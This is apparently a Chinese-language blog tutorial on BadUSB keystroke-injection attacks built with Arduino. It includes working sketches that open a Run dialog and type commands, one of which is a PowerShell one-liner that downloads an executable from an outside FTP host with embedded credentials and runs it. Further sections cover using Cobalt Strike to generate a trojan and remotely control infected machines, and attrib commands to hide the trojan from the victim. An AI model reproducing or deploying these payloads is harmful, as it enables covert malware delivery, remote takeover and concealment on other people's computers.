HID设备
人类接口设备,就是直接与人类进行交互的设备(鼠标、键盘之类的)
HID攻击
插入一定的设备,设备有一定的标识符(例如Keyboard、Mouse),插入后就可以运行烧录在BadUSB上的指令来输入恶意代码,把木马植入计算机之中。(伪造用户击键行为等)
USB HID攻击 VS 摆渡攻击
前者运用的是伪造的HID设备执行恶意代码,摆渡攻击是在U盘等设备放置木马程序,隐藏在存储介质之中。
USB HID攻击特点
攻击范围是只要能够支持USB HID接口协议的设备均可用。
相关编程语句
默认内容
1 2 3 4 5 6 7
| void setup() {
}
void loop() {
}
|
void setup()
函数内的代码只运行一次
void loop()
函数内的代码会一直循环运行
运行cmd并打开记事本,输入相关内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| #include<Keyboard.h> void setup() { Keyboard.begin(); delay(1000);
Keyboard.press(KEY_LEFT_GUI); delay(500); Keyboard.press('r'); delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("cmd"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500);
Keyboard.println("notepad.exe"); delay(500); delay(500); Keyboard.println("you are hacked!!!"); Keyboard.println("you are hacked!!!"); Keyboard.println("you are hacked!!!"); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end(); }
void loop() { }
|
Keyboard.press
就表示按下按键,用Keyboard.release
松开
KEY_LEFT_GUI
表示左边的Win按键
Keyboard.begin()
开启键盘通讯,Keyboard.end()
来表示结束
- 因为插入设备的时候目标主机可能处于中文输入法,所以用
Keyboard.press(KEY_CAPS_LOCK)
打开大小写锁定,然后来输入命令,这样输入的就是英文字符而不受到中文输入法的限制了,输入完了以后记得用Keyboard.release(KEY_CAPS_LOCK)
松开
Keyboard.begin()
下面的delay(1000)
:一般来说,设备插入后计算机需要启动驱动,在这里加入延迟就是为了给计算机启动驱动的时间(甚至是安装驱动,diss一下win7以下的那堆),当然一般是3秒5秒,1秒还是太短了
- 按键的定义如下(键盘按键+编码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| #define KEY_LEFT_CTRL 0x80 #define KEY_LEFT_SHIFT 0x81 #define KEY_LEFT_ALT 0x82 #define KEY_LEFT_GUI 0x83 #define KEY_RIGHT_CTRL 0x84 #define KEY_RIGHT_SHIFT 0x85 #define KEY_RIGHT_ALT 0x86 #define KEY_RIGHT_GUI 0x87
#define KEY_UP_ARROW 0xDA #define KEY_DOWN_ARROW 0xD9 #define KEY_LEFT_ARROW 0xD8 #define KEY_RIGHT_ARROW 0xD7
#define KEY_BACKSPACE 0xB2 #define KEY_TAB 0xB3 #define KEY_RETURN 0xB0 #define KEY_ESC 0xB1
#define KEY_INSERT 0xD1 #define KEY_DELETE 0xD4 #define KEY_PAGE_UP 0xD3 #define KEY_PAGE_DOWN 0xD6 #define KEY_HOME 0xD2 #define KEY_END 0xD5 #define KEY_CAPS_LOCK 0xC1
#define KEY_F1 0xC2 #define KEY_F2 0xC3 #define KEY_F3 0xC4 #define KEY_F4 0xC5 #define KEY_F5 0xC6 #define KEY_F6 0xC7 #define KEY_F7 0xC8 #define KEY_F8 0xC9 #define KEY_F9 0xCA #define KEY_F10 0xCB #define KEY_F11 0xCC #define KEY_F12 0xCD #define KEY_F13 0xF0 #define KEY_F14 0xF1 #define KEY_F15 0xF2 #define KEY_F16 0xF3 #define KEY_F17 0xF4 #define KEY_F18 0xF5 #define KEY_F19 0xF6 #define KEY_F20 0xF7 #define KEY_F21 0xF8 #define KEY_F22 0xF9 #define KEY_F23 0xFA #define KEY_F24 0xFB
|
利用FTP服务器存储病毒文件,利用BadUSB执行下载命令后运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #include "Keyboard.h"
void setup() { Keyboard.begin(); delay(2000); Keyboard.press(KEY_LEFT_GUI); delay(500); Keyboard.press('r'); delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); delay(500); Keyboard.println("powershell $p=new-object system.net.webclient;$p.downloadfile('FTP://admin:123456@169.254.202.247/calc.exe','F:\\calc.exe');START F:\\calc.exe"); Keyboard.end(); }
void loop() { }
|
- FTP协议写法:
ftp://<username>:<password>@<address>:<port>
,可以通过这种方式将用户名和命令写入而无需弹出验证窗口
CobaltStrike用法
首先需要打开Teamserver
然后再打开CS,连接Teamserver
接着就会弹出主界面
然后我们生成一个木马程序,这个程序运行后就会在主界面显示肉鸡,可以进行远程操作等操作
隐藏木马病毒
一般来说,木马下载到计算机内后,如果不隐藏很快就会被发现(这不是当然的嘛,一个不明觉厉的exe在那里谁都会感觉奇怪吧)
所以在Windows下,我们可以将文件进行隐藏,使用attrib
命令就可以做到这一点,例如
1
| attrib +s +h '.\Virus.exe'
|
隐藏后可以用命令行打开(直接输入.\Virus.exe
就行了),但是在文件资源管理器里面看不到
在Linux下,可以在文件的最前面加一个点(.
),会被Linux认为是隐藏文件,就在文件管理器中看不到啦